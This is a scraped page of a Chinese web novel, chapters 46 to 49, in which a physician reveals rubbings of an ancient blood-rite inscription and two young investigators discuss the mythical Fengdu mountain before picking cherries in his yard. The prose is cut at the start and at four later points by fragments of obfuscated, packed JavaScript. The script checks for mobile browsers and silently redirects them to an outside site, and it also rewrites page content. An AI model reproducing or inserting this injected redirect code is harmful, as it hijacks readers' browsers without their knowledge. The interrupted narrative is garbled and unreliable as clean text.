l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447388|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。后来就连父亲都逼着我多教习弟弟功法,一向对我严苛的父亲都对别人如此偏袒,我就更不服气了。” “小时候我天天找我弟弟的麻烦,决心要将他挤走,无意间听到祖母和父亲私底下的谈话,恍然知晓弟弟的身世,被长辈发现后,勒令我不可声张招摇。我就天天跑到母亲那里诉苦,骂那小儿子是父亲养在外头的野妇生的野小子。” 这段故事令魏郁春回味无穷,可她听着关阇彦的描述,脑中一下就飘出无数他小时候趾高气扬的欠揍模样,说实话挺不讲道理的,甚至说有点坏了。 她扶额苦笑:“确实是你的作风。” 她又问:“不过你父亲当真不能反抗家中的亲事吗?若是可以,这些牵扯甚多的悲剧便不会发生了。” 关阇彦其实说少了很多,比如家族为父亲定下的亲事实则也是一种制衡之术,母亲家族世代文仕,若是联姻,在朝中便会有更多人帮衬关家,也不会让关家的势力快速弱下去。所以只有关家在朝中的帮衬稳定后,关家才肯让下一代与和朝廷关联不大的魏家联结。 魏郁春不明其中利益也是正常。 关父也是一代骁勇英豪,当年不敢反抗并非骨子懦弱,而是一旦被世人所知,那些之后因圣人忌惮而上演的利益纠纷就会提前上演。亲事定下后,若再出去与故人相会,岂不是犯了欺君之罪?更惹忌心。 然对方的疑问,也让当年和父亲同样深陷泥潭的关阇彦苦涩一笑,不过他好一些,在亲事定下前没什么心仪的小娘子。 他说道:“要是能反抗早就反了,何必拖到这个地步?” 她闻言终是寻到了突破口,说道:“可是若真要清算,这些事情怪不到任何一个人头上,甚至连父母的媒妁之言也没办法揽罪。不过幸好,你爹娘至少后来还是和睦相爱的。” 关阇彦坏笑了笑:“我猜你这会儿心里肯定在暗骂我小时候多浑蛋吧?放心,我长大后也就明白这些了,万事环环相扣造就了太多无奈,就是想改变都无从下手。于是比起幼时,如今我对那弟弟的态度好了千百倍,算是补偿了吧?” 魏郁春一噎,然后回他:“我可没揣测你什么。” 她灵机一动,立马问他:“所以什么柴户之闻都是假的吧?我可没见过哪家砍柴户家事如此讲究。家中是有什么男子必须和人定亲的传统吗?” 关阇彦剑眉一定,眼见谎言将破却全无慌色,道:“那是你见识短浅。” “你那未婚妻是你真心喜欢的,还是和你父亲一样是被迫结亲的?” 应是有了故事的启发,魏郁春将他视作了刚开端的新故事,迫不及待地想从他身上探出个所以然来,从而满足她自幼改不掉的刨根问底的勤学心。 “你今天话这么多?”关阇彦可不想好端端的又开始扯什么头疼的未婚妻,冷笑应付她。 “冯迎春,你别得寸进尺了,”关阇彦瞥见陆子礼站在堂外,正和他们招手,于是连忙起身,走在了前头。 魏郁春抿唇,他这人刚把人的好奇心勾出来就要走,戛然而止的感觉让她觉得没劲儿。她心情殃殃地起身跟上去,熟悉的姜香云雾将她包裹,若仙人乘云。 46. 盘龙山闻 诊台三人,两人在杌子上,一人在蒲团上,对坐下来,两锅不同的药汤熏得人有些头昏,因为几味同屋内飘着的香烟混杂起来有致幻之效。 陆子礼从桌子上拿来三片薄荷叶,一片自己含在口中咀嚼,另外两片则发给了关魏二人,薄叶被嚼碎后在口中炸开凉意,瞬间让二人的大脑清醒过来。 陆子礼端坐着,面容虽然憔悴,但满头炸开的白花花的发已被他打理整齐,再心乱都不可无礼待人,这完全符合他那古板枯燥的秉性。 他取二只空碗,分别盛下滤了渣滓的药汤,递给了面前一男一女两个年轻人。 “多谢大夫,”他们齐齐称谢。 药汤入腹,刚好清荡开还粘在喉咙和口舌上的饭食腻味儿,清凉久了却涩口的薄荷味儿也被冲淡了不少。 这股爽意如闪电般从头到尾贯穿了人身,无论是感慨还是叹惋的清醒,瞬间就成了热烟似的,从头顶上飘走了。二人甚至差点没从中缓过神来,看着陆子礼这副不喜不悲的模样,以为自己又回到了昨日初见时的模样,糟心的父女难事也仿佛还没发生似的。 但他们知道这不可能。 陆子礼无声将手朝前襟探去,把提前准备好的一大一小两张纸取出来。等关魏二人饮药完毕后,携手收拾净了台面,将两张纸挨个摊开,文字刚好是关魏二人能直接看懂的朝向。 大的纸是一张特意做大的麻纸,黄黄的一大片,粗糙却厚实,正面上上上下下排着看不懂的大字,印字的墨水断断续续,一会儿一个字上缺了角,一会儿一个字被糊了好几片的墨点,还都排列密集,活像一堆围着食物乱走的蚂蚁。 这些字虽然看不太懂,但一笔一划的走径都十分逆反常理,整个字形都像是左右对反了一样。除了拓印外,他们实在想不出来还有什么留墨方法会同时具备这么多的特性。 陆子礼垂着眼眸,静静地看着这面黄澄澄的麻纸,回忆起初遇此物的情形:“两个月前,我去盘龙山采药,偶然间步入险崖,跟着着滚石一起滚入不知哪个方向的山坡,醒来后发现身边有一只圆拱状的大石墩,墩上刻满了南禺古字。我竭力踮脚上望,才面前看到墩顶的影子,惊人地发现便是连墩顶都刻了这种古字。自从中晋文化迁移后,南禺已经很多年没有出现这些古文了。这只刻满文字的巨大石墩出现时,竟显得诡异。” “我以为是郊社,好奇去看,发现了这些文字的内容,只可惜这块石墩被摧残太久,又无人修葺,破败凋敝得厉害,很多文字早已看不清了,即便拓印下来也辨认不了。” 关阇彦和魏郁春皆面色沉重,尤其是关阇彦,好似又开始分析起南禺古文和幕后黑手的关系。 而魏郁春则提前开口,道:“既是不知是哪个方向,陆大夫你是怎么从盘龙山返回的?” 陆子礼不紧不慢地接道:“我着急寻路离开,可树木遮挡了斜阳,影子都辨不清楚,周边无低流的河流,活物除了细微渺小的虫子外别无其他。幸好傍晚海潮声起,我通过辨音而识出方向。我来盘龙山的次数很多,这方面的经验很充足,所以将东西拓印下来后就顺利回了家,后来发生的事情二位也都知道了。” 说罢,他惭愧地垂地了几分脑袋,气质更显颓靡。 “海潮?”关阇彦终于有了反应。 “那山中怪石嶙峋,西北面山体陡峭,东南面山体则纵平若纵切的刀面,人称龙崖,崖下靠海,波涛万里,激流不断。” 关阇彦本以为既然这些邪性十足,又和古溪村黑衣人有关的秘术在盘龙山,那么山中应该也有些诡异的人存在。听陆子礼的描述,他却发现里面至始至终都没什么可疑人的动作。 或许是两个月时间已久,陆子礼会忘却不少细节也说不定。 抱着这种念头,他特地强调:“陆大夫那时可有见过什么别的人?或者说,多次山行时,有没有见过什么人?” 这个问题问得陆子礼面色一僵,这是懵怔的反应,他茫然道:“此地颇险,所以没什么人愿意去那里。历来只有我敢去那里寻觅稀草。” 关阇彦心道一句“怪了”,难道是陆子礼命太好了?以他对那帮黑衣人的见解,他们若是发现有人盗取秘术,必会杀人灭口,说不定还会再用此换脸术掩盖罪行。 若说陆子礼至始至终就只光顾过那一次盘龙山便罢了,但现实就是人去了很多次,黑衣人却一次都没发现? 要非说陆子礼命好,他觉得陆子礼的女儿估摸在刚开始被施下秘术时,就治好了怪病吧?然而人女儿就是没治好,所以这种说法真是怎么想怎么怪异,牵强极了。 事已至此,他也不好再抓着此处追问不休,干脆默声不言了。 魏郁春的注意力已经放在另外一张和麻纸摊在一起的纸张,上面是陆子礼特地将左右写法颠倒的古文誊抄下来后,再用汉文翻译在旁注释好的内容。她虽有冯迎春的记忆,但此女先前痴傻,家中也没人懂学问,所以看着古文的时候一头雾水。 当她看到还有这些内容的时候,紧绷的精神顷刻放松了不少,可略认真钻研琢磨几下密密麻麻的汉文注释,她整个人又深陷进了比方才还要忐忑的心境中去。 因为其用语阴鸷狠辣,每个字都像沾染了无数冤魂恶鬼,紧紧盯一会儿,那股摄魂之力就遁入她的脑海,像被诅咒了一番。 即便移目,也难以摆脱心有余悸的心情。 陆子礼钻研此物两月有余,难怪会痴疯至此,最后幸好得到了感化,否则在这种邪物的荼毒下,他怕是永生永世都不得超生了。 魏郁春甚至敬佩起了陆子礼,因为若是一般人,绝不可能这么快就能从邪物酿造的幻局中走出来。 关阇彦被她的反应激到,忙也要去看那物,结果被魏郁春拦下:“别看了,此物极能污人心境。” “烦请陆大夫和我们简略说说吧。”她勉强牵起一笑,额头还冒着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447389|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚汗。 陆大夫知道她并非大题小作,最开始他在盘龙山的古文墩上辨认这些字时,背脊上也都爬满了密密麻麻的悚意。 他颔首道:“我带回来的这部分主要是天仙秘术中关于血术的记载,用幼童换血以达疗病所需,其可治百病。当然条件也都很苛刻,找到适龄的换血孩童并不容易,按道理寻找媒介应该不那么难。可除了我自己和长岁有血缘关系外,没有别人符合媒介血缘的条件,索性我在成为施术者的同时也亲自当了媒介。” 魏郁春从中听出了一些奇怪的意味,略一沉吟,后道:“若陆大夫不自己当媒介,只做施术者,身体岂不是不会遭受这么大的反噬,毕竟毒血并不会汇聚到自己身上?” 陆子礼面色亦是沉了沉:“没错,只要找到更多的媒介便可以。” “更多?”关阇彦突然附道,“果然这什么秘术比我想象得还要邪性。如果陆长岁身上的病灶一日不除,媒介就需要承担越来越多的毒血,直到把自己体内健康的空间全部挤压殆尽。媒介死了,估摸还能再找下一个媒介,以此类推,无穷无尽也。” 魏郁春倒吸了一口凉气,她很快就联想到了陆子礼的命运,忙不迭忧虑道:“那陆大夫你……” 陆子礼却忽地展眉,嘴角浮现出一个苍白无力的笑:“我明白。只是我浸淫此道太久,一心只想救活心爱之人,鱼死网破也不足为惧,一点点女儿病灶可灭的希望便能支撑我一直坚持下去。” 是啊,所以陆子礼在看到陆长岁形容愈渐变好后,他才会变本加厉地施展术法。 他抬手望着自己瘦的快皮包骨的手臂,上面覆的一层薄薄的病肉活似绷在灯架上的泛霉灯布,那灯布已经快崩不住骨头架子,眼看就要一戳即破。 他的话音顿了顿,却没有结束:“不过经此一看,我发现你们说得才更有道理。救活女儿的执念即便可以被化解,我也已油尽灯枯,没了我,女儿依旧难以生活。更何况……我根本坚持不到那个时候了。” 屋内又变得寂静起来,杌子上的两个年轻人都静静垂首,以示默哀,很长时间下来,都无人再好意思开口。 最后还是陆子礼先破了静:“所以你们是要去盘龙山寻找线索么?” 二人先前并没有多大负担,乍闻山上奇闻,心情早已落入谷底,一时提不上来。没说一个字,都像是拿着一把利石在心上划了一把,虽然没实质性的伤害,却挠得人满心刺痛。 魏郁春从沉思中脱身出来,回应:“是,我想那些黑衣人既然与这种邪术关系密切,若是不一探究竟,他们迟早要继续危害无辜者。” 陆子礼抬起骨节突出若算盘珠的手指,点住小纸张上的几个字眼,郑重道:“别的我或许帮不上什么忙,但有一个东西,我从两个月前就感到怀疑了——” “酆都罗山。此山在短短这一秘术片段中就出现了不下五次,其在秘术中似乎占据了不容忽视的地位。” 47. 酆都罗山 陆子礼口中的不下五次,在具体的注释中的出现形式,都和类似于这种的话,脱不开干系——“秘术所需之法器,遗落酆都罗山,凡取用者不可犯戒,犯戒者必携法器跪行至酆都罗山奉罪。” 同样话意、不同表达的短句拼拼凑凑、分分合合,无非都是说,取用“法器”的秘术使用者绝不可犯戒,否则定要去酆都罗山谢罪。以整篇幅叙述的风格来看,这种的“谢罪”多半得和生死扯上关系。 像极了永生永世不得超生的诅咒。 魏郁春想起来还未去陆子礼实施秘术的地室看过,现在又对此处“法器”和“酆都罗山”的关系感到一头雾水。 她遭不住一直自己憋着想,开口对陆子礼问道:“秘术所需之法器遗落此山?那陆大夫施展秘术的用具从何而来?” 她的意思其实很委婉,因为她也从孤女姐姐口中得知过陆子礼得到秘术后,还花了一个月的时间研究术法的用具。所以根本不存在什么她不明白陆子礼器具的来源,她这么说,意思明显也不明显——去地室亲眼看看。 不然她的疑心是很难捱过去的。 她是懂得礼数的,陆子礼听得出她的意思,他想着人也是觉得张口就直接表明用意并不礼貌,身为客人莽莽撞撞,实在容易触怒主家。 所以陆子礼一点都不计较,直率道:“我在研究这些古文的时候,不止一次被这些字眼迷乱思绪。但我女儿已危在旦夕,我顾不上太多,便自己亲手做了器具。” 魏郁春思路格外清晰,直接点明一个大家都没在意的点:“那这是不是也算一种犯戒呢?秘术所需之法器,遗落酆都罗山,凡取用者不可犯戒,这句话细细嚼来,好似天生有种微妙的悖逆之气。” 关阇彦接道:“不一定,酆都罗山是神话之地,现在很多玄乎其乎的东西都拿着这些神话故弄玄虚,当作一样招牌,抑或是深化信徒信仰的标志。” 魏郁春觉得有道理,旋即应了一声:“确有此理,毕竟神话之地本就不可求遇。既然秘术用了自制的法器进行,有了效用,且持续了月余时间,若是真有什么违逆天仙的反噬,不可能迟来这么久。” “别太当真,这种东西真真假假谁能说清?”关阇彦沉道。 陆子礼皱着眉头,半信半疑道:“酆都罗山是什么神话里的地方?我从未听说过。” 魏郁春一听,忽然觉得不太对劲,因为身为和陆子礼一样的南禺人,她绝不可能通晓有关起源于中原的道家神话体系的故事,而酆都罗山恰恰就是其中之物。 可她方才一心琢磨自己的事,忘记了注意关阇彦话中的细节,听到人说起此山乃神话之地时,她居然没心眼儿地直接上去接了茬儿,实在可疑。 她通晓汉文这一点没瞒得过关阇彦就算了,再多懂一项从未踏足过南禺地界的道家宗信,真就太怪异了。 于是她赶忙跟着陆子礼附和一句:“是啊,方才听你说此山是神话之地,我一时还没反应过来。” 她装得是挺那么一回事儿的,关阇彦的目光就在她脸上停留了一下就瞬走了,没多想。 关阇彦顺道解释了一番有关此处的神话:“我早年去过中晋,所以多少知道一些神神鬼鬼的故事。这酆都罗山就是道家神话里的地狱,传闻其位于极北之地,天寒地冻却依旧山奔海立。山高十万六千里,周回五万里,极为宏伟高峭。其山脚下还埋有一只隐蔽的大海洞,名叫阴景天国,传闻其主宰者名为太阴水帝北阴天君。这地方妖孽肆虐,危害人间什么的。” “说起来,盘龙山也面海,算巧合吗?”魏郁春不假思索道。 “那就要先问问陆大夫了,”关阇彦摸摸下巴,旋即将目光和话语权递给了对面的男人,“那盘龙山可有其他地方和酆都罗山相似?” 陆子礼默哀道:“盘龙山虽陡峭,却并不似神话中的酆都高耸入云。我去过哪里很多次,也从来没听说过或者见过下面藏有海洞。” 这个回应对关阇彦来说,并不意外,他耸耸肩道:“是了,神话中酆都罗山可是位于极北之地,和盘龙山所在之地刚好有两极之分。并且南禺的信仰多样,好像和中原的道家扯不上关系吧?” 他点了点桌案上摊着的拓印文纸,分析着:“看得出来刻满这些文字的石墩已经被风化很久了,少说……得有两三百年了吧?” “两百年前,中晋刚南征我们南禺,战火纷飞的,宗信这种文化怎么可能传得过来,若是这石墩真和道家有关系,我不信南禺至今还无人不明其道,至少我除了早年的经历,在南禺从没接触过这种东西。” 他为了不穿帮自己辛辛苦苦塑造的假身份,还煞费苦心地补充了一系列自己是南禺人的表达,拼命和当下另外两个人连结不存在的民族认同心。 魏郁春虽然面色不改,心中却早已侧过眸去,上下打量满口谎话的他。 她才不信,这小子肯定是从小生在中晋的大户人家之子,至于是何样的人家,她也迷迷糊糊答不上来。因为关阇彦这人各样本事似乎都玩得得心应手,性格也时而稳重时而泼皮时而凶狠的,所以整个人都是扑朔迷离的,导致她对他的定义也随之变幻了不知多少次。 为了让陆子礼更信任他们的说辞,魏郁春也信口帮他掩护了起来:“是啊,我这远房亲戚幼时随父去中晋住过一段时日,那些神话之闻八成错不了。” 陆子礼表示赞同,他微微松了一口气:“应该真的是巧合了,就只拿南禺说事,不同地方的宗信虽然各有千秋,但总能发现其中有几个它们各自的信仰中存在了相同的事物,不管是教义还是祭祀时的规矩乃至于志怪神话中的鬼神名字。这些宗信往往相隔甚远,这些当地人几生几世都不可能产生交集,更不提互相干扰。” “竟是如此。”魏郁春喟叹道。 她的眉头一会儿紧皱一会松平,她面色又白净,昨日受潮的发尾也干透了,乌黑的长发未梳束,飘飘然地荡在腰后,宛若三千春水。她薄唇轻抿,苦思感叹的模样并不拧巴,反而有若清风似的温和。 她至始至终都保持着仪静体闲的状态,唯有眉头不太安分。 尽管有众多解释表明酆都罗山只是一样代表信仰要义的飘渺阐释,世上会不会真的存在这样一个向来只存在于神话中的地方,这是她还在思考且不肯放手的问题。 在紧、松之间徘徊不止的秀眉终于消停了下来,她道:“换种思路想,道家的酆都罗山只是神话里的说法,和南禺古文里的没有关系,那么是不是代表古文中的酆都罗山和神话之类的要闻无关?” “那么南禺为什么也会出现和道家神话里同样的东西,会不会世间本就存在着这座山的原型,可能它本就叫做酆都罗山,因为某些因素,化作了各种宗信里神话的存在?抑或是,这种神话本,就是融合了各种各样不同的原型幻想出来的呢?” 陆子礼和关阇彦齐齐讶然:“若是这样,盘龙山或许就是原型之一。” 陆子礼已经缓缓站起了身,对二人说道:“我带你们去地室看看吧。” 这是回应了魏郁春的请求。 魏郁春已将桌案上的两张纸张卷起收好,方要递给陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447390|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子礼,却被对方回拒。 “这些东西对我来说已经没有用了,既然你们要去盘龙山,它们应该能帮你们一些吧?” 关阇彦睨了陆子礼一眼,轻轻咳嗽了几声,不得不承认,现在的陆子礼确实顺眼了很多。 几个人走出草堂,穿过院子,再度步入东屋,穿过空地和廊道来到最里面的屋子,他们终于亲眼看到了孤女口中的地室,这里堆了蒙了灰尘的杂物,因为来的人突然变多,灰尘挥舞得到处都是,呛人得很。 陆子礼好似已经习惯,其他二人则扯着半边袖子捂着口鼻步入了通入地下的砖门,门连同室内的甬道狭窄,一次只好供一个人走。 陆子礼先行带路,顺带还点燃了墙壁上的烛灯,阴暗潮湿的地室一瞬间亮堂了不少。 这里空间很有限,三个大人一齐进来,顿时就感到局促了。 陆子礼有个习惯,每晚施术后他都会带着用过的器具离开地室,清洗好后会在第二日中午给孤女送饭的时候收拾回室内床下。他在被二人戳穿秘密的时候已经过了午时,所以,那些预料中将在半夜继续使用的器具,已经被他精心地收拾在了床下匣子里。 他将匣子从床下拖出来的时候,还恍惚觉得今日所发生的一切似真似假,过往回忆不断地折磨着他。 他神色僵了僵,后将里面的东西取出来放置到床上,对应着纸张上有关秘术的记载,和关魏二人解释起了这些东西的用处,以及施术时屋内的陈设该如何摆布等等。 关魏二人由此更直观地看出了陆子礼的神医之才,因为秘术终究停留于文字,换作他们自己或是旁人,甚至动用想象,都难以将文字落实为真实存在的东西。 更不提陆子礼直接自制了这些器具,他在现实和虚幻的文字之间,搭建了如此强悍的实质性联系。 同时,遗憾的是,他们没有从这些器具上发现更多和秘术相关的谜点。毕竟,这些器具到底是借由人手创造出来的,它们和秘术之间只存在间接的联系,又如何进一步去辨清楚秘术的谜点? 他们很快就离开了地室,陆子礼也将这些伤天害理的物件带出了地面,亲手一个一个地打碎了它们。 破裂的声响刺耳到,让人感觉短暂脱离了为声音所绕的人世间,脑中一片空白,几点芝麻大的小虫七上八下地走,吐着泡沫把空白填满。一切都被虚化到一戳即破后,他们才恍惚感觉自己的神智刚被归还。 天幕渐暗,目测若是再蹭一趟犊车回去,到古溪村的时候,估摸刚好能看到斜阳低垂到触手可及的幻象。 陆子礼隐忍着心中那点愧疚,装作云淡风轻的模样,在关魏二人离去的时候补道:“寒舍如今已是贫病交加,除去本就该给的药材,一时想不到还有什么补偿能给予二位。” 他眼神闪烁,一身硬骨不肯叫人看穿一点不堪,像极了了长满毛斑却依旧内里板正的老腐朽。他那些事情,说白了他如今心里也过意不去,还叫别人见了丑,他只恨寻不到地缝钻进去,别扭也是正常。 他急于寻求台阶下,魏郁春很合事宜地笑提一句:“陆大夫别这么说,我还真有一样东西像向你求呢,只是碍于面皮薄,一直不敢提。” 陆子礼黯淡沧桑的眸子一下子亮了几个读,忙不迭地问道:“姑娘想要什么尽管说。” 魏郁春敛着袖子站在院中,忙抬首朝挂满红果的樱桃望去,关阇彦不知她要搞什么名堂,也好奇地循着目光去看,听到女子的声音响起:“我第一次见生得这么好的樱桃果,所以不知陆大夫准不准我带一兜回去给家妹尝尝?” 48. 无心之举 陆子礼闻言不由一愣,心想,这有什么准不准的呢?以他如今的境地,若人要他将这颗樱桃树连根拔了送了,他都绝不会说一句怨言。 他见魏郁春向阳的眸子里,反射的尽是一树如灯似的红,可见她是真心喜欢这些樱桃,没有硬要迁就他的意思。 他心里仿佛被一阵温风吹过,舒缓得多了。 他由衷牵动嘴角,笑意中的温和真诚,丝毫不亚于看待自家女儿时有的的模样。 他感叹起来,语言里是不加掩饰的为难道:“这颗樱桃树还是囡女刚出生时种下的,至今也满了十年,树大根深,我如今的身子骨已经无法支撑自己攀树采果了。姑娘若是喜欢,便自取吧。” 语罢,陆子礼的目光有意无意瞟了关阇彦一眼,言下之意,不就是人姑娘肯定做不了爬树之事,他一个大男人应当效劳。 关阇彦察觉到了陆子礼的眼神,双眉皱住,眉弓下眼窝里的半边阴翳蓄满了不解之意。魏郁春皮笑肉不笑起来,心想,她也没打算指望这厮。 陆子礼退到别处去,魏郁春跟上去寻问有没有长的树枝,最后要来的虽不是树枝,却是好几根柴条——从庖厨烧火的角落里拖来的。 除此之外,她还多向陆子礼要了一些布条和一把小刀。 她心思灵巧,很快就想到了办法。 前世幼时,她常见到娘亲在树下打桂花,兜回来的桂花都会做成桂香糯米糕给她吃。她打算仿照着母亲打桂花的模样来勾樱桃。 她将几根柴条拼凑起来,目测有樱桃树高后,就着手于拿小刀划开布条,一些手指粗细的长条诞生后,她就用它们去捆住柴条们衔接的地方,这点工程对她来说并不难。她速度很快,眼看长棍成型,她兴致冲冲地跑到树下,将剩下的布围着树根摊开。 几跟柴条堆积的压力全部积聚到她手上,带动棍子移动的时候,她单薄的双肩都跟着颤抖,脚步也是要多虚孱就有多虚孱。 魏郁春虽然看着不太靠谱,但都在竭力不放任手头上有任何闲缺的时刻,估摸是有些赌气,不肯关阇彦插手她的事情。 关阇彦在一边看着她这副逞强又急于证明自己的模样,眼底不禁泛出几抹看好戏的快悦情绪。 果不其然,魏郁春挥舞柴条时力度欠缺,根本难以把控它的去向,樱桃树和瓜藤挨着,她一不小心将顶端挂到缠缠绵绵着木架的瓜藤上,只要她强行挪动柴条,瓜藤就势必会被破坏,万一又牵动到衔接木架的端点就更不好了。采果不成,反把人院子的木架弄塌了,她心里是不可能过意得去的。 她自知要露丑,浑身都起了一层汗,面色讪讪。 陆子礼又有意无意地瞥了一眼关阇彦,估摸是在想,都这个时候了,这公子怎么还不去帮忙?是诚心要看这小娘子出糗么? 他叹了一气,罢了,他不去我就去吧。 谁知陆子礼刚要动身,关阇彦笑呵呵的声音就响了起来,言语直截了当,是铁了心要让魏郁春颜面扫地。 “冯迎春别逞强了,再弄就要把人家院子搞塌了!” 他虽是贻笑大方,但却已卷好袖子,要去帮忙。既是如此,陆子礼就又退回了原地,看看已是满面通红的魏郁春,又看看那满脸不羁的关阇彦,叹道,这哪里是什么远房亲戚?越看越不对劲,便是说陌生人都比这合适。但或许也不太适合了,这二人斗智斗勇、双方毫不示弱的模样让他一瞬想起年轻时和夫人相识的日子。 那时,他自诩神医之名,瞧不上那姑娘一身靠采药辨药累来的野识,他们二人和斗鸡似的,常常抓着一位药该如何保持最大的药性相持不下,一天到晚吵地不可开交,哪天不是辩药了,就是逮着一位患病百姓,二人各施其术,斗的就是看谁能最快把人医好。他们闹得最厉害的一次,因为都太急功近利了,把人家病人折磨得快要七窍生烟,差点闹到里正大人和各位父老乡亲们的耳朵里。 他们吃了亏,之后就再也不斗这种赛了,开始互相找患奇病之人,交给对方,各自医治对应的病者,防止二药并施,让旧错重演。 可不知那一天,他们就开始相互欣赏了起来,而这一欣赏,就跟踏入了万劫不复的深渊了一般,再也不可能脱身。不久后,他们从不对付的冤家,成了满目都只有对方的天羡鸳鸯。 可惜后来……他们还是没有走到最后。 在陆子礼眼中,他好似总能从面前二位同样龃龉不断的年轻人身上,找出年轻时的影子。他忽地会心一笑,瞥眸离去了,想是不当局外人,惹了别人的兴致了。 关阇彦已经接过魏郁春手里的柴杆,双臂握住上下一扯,那杆子就轻轻松松地从难境里脱身了。 魏郁春抬着脑袋,满眼都是不可置信。 这可更壮了关阇彦那点臭屁劲儿,他插着腰,斜牵着嘴角上满是毫不掩饰的骄傲,他还没开腔,就感觉到手中之物猝然变轻,瞥眸一看,发现手中的柴杆早已不堪重负,开始松动,最顶端的那根柴条刚刚受了不少阻力,松动得最严重,眼看就要掉落。 掉落的方向刚好指着身边魏郁春的头顶。 “当心!” 他心急手快,来不及解释就直接抓着魏郁春的手臂往外推拽,结果柴条是没砸到人,魏郁春却因为突然袭来的推力,一屁股砸到了地面上,刹时间痛得满脸扭曲,原原本本清透大方的姑娘如今面上却犹如爬满了皱巴巴的毛虫一般。 这对分外注重仪态的魏郁春来说,绝对是奇耻大辱! 来回都是丢了面子,魏郁春还正愁没地发泄,顿时大怒:“关贤齐!你有病吧?!” 关阇彦满脸的傲色全然不见,脸色都青白了好几个度。 真是好心办坏事了,把人好不容易做的杆子弄坏了不说,还叫人添了一身新伤。 魏郁春咬着牙,吐出几口恶狠狠的气来,心骂,这厮果真一点都靠不住!可能每回要对他产生点好感的时候,总有当头一棒给她打清醒了。 这不,陆子礼求医一事,她刚打心底觉得他能力极佳,心肠貌似也没表面上那么冷。现在,她可算回到现实了。 刚回草堂看书的陆子礼还没消停一会儿,就乍闻外头的动静,连忙起身出去察看,发现小娘子瘫坐在地上疼得站不起身。 过去一问, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447391|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得知事情原委,一时间竟不知道是哭还是笑。 他招呼关阇彦不要再傻站着,一起将人扶起来,带到草堂里。 他轻轻按压了压魏郁春背脊靠尾椎骨的皮肉,眼神一定,心中有果。 随后,将常备在家中专疗跌打损伤灯肿痛的一罐紫荆皮散拿出来。 “未伤及骨头,姑娘不必忧心,若以药散敷下,不消半个时辰就能消肿。姑娘伤处特别,我便不亲自动手了。我将药散的使用方法和你细说,姑娘就自行擦药吧。” 陆子礼贴心地补充了一句解释,也让魏郁春悬着的心松了下去。 疼是疼了,就怕这具身子弱,伤到骨头等根基。幸好只是毁了些皮肉,倒还说得过去。 她连忙讪道:“又给大夫添麻烦了。” 陆子礼摇头说“不必”,然后将药散配合薄荷汁敷用的办法和她说好,随后就示意关阇彦一起出门。草堂子的门关好,莫叫姑娘家心里过意。 关阇彦知道没大事,他也兀自松了一口气,心里头跟丢了一大块石头似的。 还好没啥毛病,不然他怎么回古溪村和冯家一家老小交代? 而且,魏郁春真有什么大碍,可不是他花心思哄哄就能混过去的,这女人心思缜密又爱逞强,出了事她一辈子都不可能放过他的。 这些还是远的,说些近的,魏郁春要存心记怀,连续好几日他的吃食定要被加倍克扣了。 可恶啊,他堂堂八尺男儿,竟得傍着女人生活。这甚至还是好的结局,要不是魏郁春有事要利用他帮忙,连这些最基本的生存条件他都难觅到,毕竟走出古溪村,遍野的都是山,一眼看不到边际,他身上一分钱都没有,不可能徒步走出去。 他松下的那根筋再度紧绷回去,任谁看都知道这是愁眉苦脸之样。 但陆子礼又不知道他心里真的在想什么,满心以为是他担忧小姑娘安危,嘴角有难以抑下的浅笑。 看起来总和人家小姑娘不对付,真出了事,还不是着急忙慌的? 关阇彦无意瞥到了这抹笑意,一双冷目里闪过无数疑惑:“?” 陆子礼连忙收敛表情,又变成那副不近人情的模样。 他开了腔:“药散效用再强,也得有个半个小时才能见好。趁这会,我不如帮你去采采樱桃吧。” “哎。”关阇彦应下。 想来樱桃树干不太粗,一个大男人爬上去估计勉强。想来想去,还是魏郁春的想法好使,然后他将已经断开的柴条重新接好,他力气比魏郁春大很多,所以结绳子的地方格外结实,不可能再有突然断开的事情发生。 他试着拿着重新衔接好的柴杆打了几个枝头,尽管力度已经很轻了,可掉到地上的时候,十有八九都成了烂果。陆子礼见状就将摊在树根处的布收来占在自己的双臂间,望着光线穿梭自如的树冠说道:“不少果子熟透了,砸地上碰硬了容易碎。” 左右陆子礼个子也很高,双臂兜住布料能降低樱桃砸碎的概率,最后就是关阇彦在哪个枝头打樱桃,陆子礼就跟到对应的枝头下接果子。不一会儿就兜了一大怀抱的樱桃。 49. 曲终人散 半个时辰过去,魏郁春试探地动了动趴着的身子,发现却是舒服了很多,只要不刻意去碰那块地方的肿肉,她就几乎察觉不到那里的痛觉。 